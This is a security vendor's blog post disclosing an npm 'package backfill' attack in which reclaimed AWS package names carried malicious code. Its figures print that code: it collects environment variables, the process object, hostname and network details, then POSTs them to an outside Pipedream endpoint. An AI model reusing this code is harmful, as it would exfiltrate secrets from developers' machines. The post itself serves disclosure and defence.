• Home
  • Blog
  • AWS Targeted by a Package Backfill Attack

AWS Targeted by a Package Backfill Attack

AWS Targeted By A Package Backfill Attack
AWS Targeted By A Package Backfill Attack

On April 28 and April 30, respectively, Supply Chain Defender identified, blocked, and reported two packages we deemed were malicious versions of original Amazon Web Services (AWS) packages. Mend security experts have reached out to contacts at Amazon to notify them of our findings. 

This discovery may point to a new takeover method that targets packages of well-known origins, in this case, AWS. At this time, it appears as though malicious actors are scanning AWS projects for dependencies that are not registered in the public npmjs registry and using their names in order to upload the unregistered packages, injected with malicious content.

Why Is AWS Targeted by Malicious Actors?

As AWS is the biggest provider of cloud infrastructure in the world, with a 33 percent market share, it is also a big contributor to the open-source community. A quick search of the term ‘AWS’ on the most popular JavaScript package manager – npm –  returns about 13,000 results.

A Rapidly Changing Digital World Drives AppSec Reinvention

These 5 Principles Will Help You Survive.

How Did the Package Backfill Attack Unfold?

Thirteen months ago, the package hl7.fhir.r3.core was referenced by AWS as an open-source package. Four months ago, at the beginning of 2022, AWS also published the package @aws-cdk-example-dynamic-web-config/shared. The two packages above were officially authored by AWS before they were removed by a legitimate author, whatever the reasoning was.

Once the packages were removed, their names became available to use in the open-source wilderness. The two packages were then populated with malicious code that was uploaded using their names.

What’s in the Malicious Versions of the AWS Packages?

The first package named hl7.fhir.r3.core only contained a package.json file and no actual malicious content. This package was probably uploaded as a test by the malicious actor to see if he was able to use a name previously used by AWS. This might explain why the name is not a ‘classic’ @aws-… naming.

The more interesting package is, which uses AWS name straightforward, and contains malicious code that exfiltrates user information such as env variables, operating system, and hostname.

Additionally, other information about the machine was collected, such as CPU architecture, total memory available, amount of free memory, network interfaces that contain IP addresses, netmask, MAC address, and more sensitive information.

Figure 1 – Collecting User Information

'use strict'

const https = require('https')
const http = require("http");
const os = require("os");

// var currentPath = process.cwd();
// var currentUser = 
var currentPath = __dirname;
var currentFile = __filename;
// var currentEnv = process.env;
var currentEnvString = JSON.stringify(process);
var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');

// console.log(currentPath);
// console.log(currentFile);
// console.log(currentEnvBase64)

var data = {
    envPORT: process.env.PORT,
    hostname: JSON.stringify(os.hostname()),
    currentPath: currentPath,
    currentFile: currentFile,
    currentEnvBase64: currentEnvBase64,
    type: JSON.stringify(os.type()),
    platform: JSON.stringify(os.platform()),
    arch: JSON.stringify(os.arch()),
    release: JSON.stringify(os.release()),
    uptime: JSON.stringify(os.uptime()),
    loadavg: JSON.stringify(os.loadavg()),
    totalmem: JSON.stringify(os.totalmem()),
    freemem: JSON.stringify(os.freemem()),
    cpus: JSON.stringify(os.cpus()),
    networkInterfaces: JSON.stringify(os.networkInterfaces()),

// console.log(process.env.PORT)
// console.log(os.hostname())
// console.log(os.type())
// console.log(os.platform())
// console.log(os.arch())
// console.log(os.release())
// console.log(os.uptime())
// console.log(os.loadavg())
// console.log(os.totalmem())
// console.log(os.freemem())
// console.log(os.cpus())
// console.log(os.networkInterfaces())

// console.log(data)
// console.log(JSON.stringify(data));


Figure 2 – Sending the Information Out Using Pipedream:

data = JSON.stringify(data)
// console.log(data.length)

const options = {
  hostname: 'enjglpdgtgrbn4b.m.pipedream.net',
  port: 443,
  path: '/aHR0cHM6Ly9naXRodWIuY29tL2F3cy1zYW1wbGVzL2F3cy1jZGstZXhhbXBsZS1keW5hbWljLXN0YXRpYy13ZWJzaXRlLWNvbmZpZy9ibG9iLzgzNWQ5YmU4M2Q2NGM5NjY0ODlmZmM2OTY4NjMxNTFjN2I2ODVhZDkvcGFja2FnZXMvZGF0YS1hcGkvcGFja2FnZS5qc29u',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': data.length

const req = https.request(options, res => {
  // console.log(`statusCode: ${res.statusCode}`)

  res.on('data', d => {

req.on('error', error => {



What Do We Know About the Package Backfill Attack Method So Far?

We do not know for sure that the malicious packages above targeted AWS specifically, but it seems likely considering their actions: 

  • The actors have located unregistered package names referenced from other AWS projects by discovering which package used to be a dependency of other projects and is no longer in use
  • They implemented a name takeover using the name of the original, unused, package and published it to npm with reconnaissance code

How To Avoid Package Backfill Attacks?

One way to prevent such name takeovers is to use a checksum-based lockfile. At the same time, it is important to mention that users often ignore them, assuming that those are just errors.

Mend’s automated malware detection platform, Supply Chain Defender, checks to make sure you’re only using verified package sources and prevents you from importing any malicious package into your organization or personal machine. Mend Supply Chain Defender is free to use. Sign up here >>

Meet The Author

Tamir Ben Ari

Tamir Ben Ari is a malware researcher at Mend.io specializing in software supply chain. Previously, he held the role of security researcher at Mend.io, which included detailed vulnerability research in open source libraries.

Subscribe to Our Blog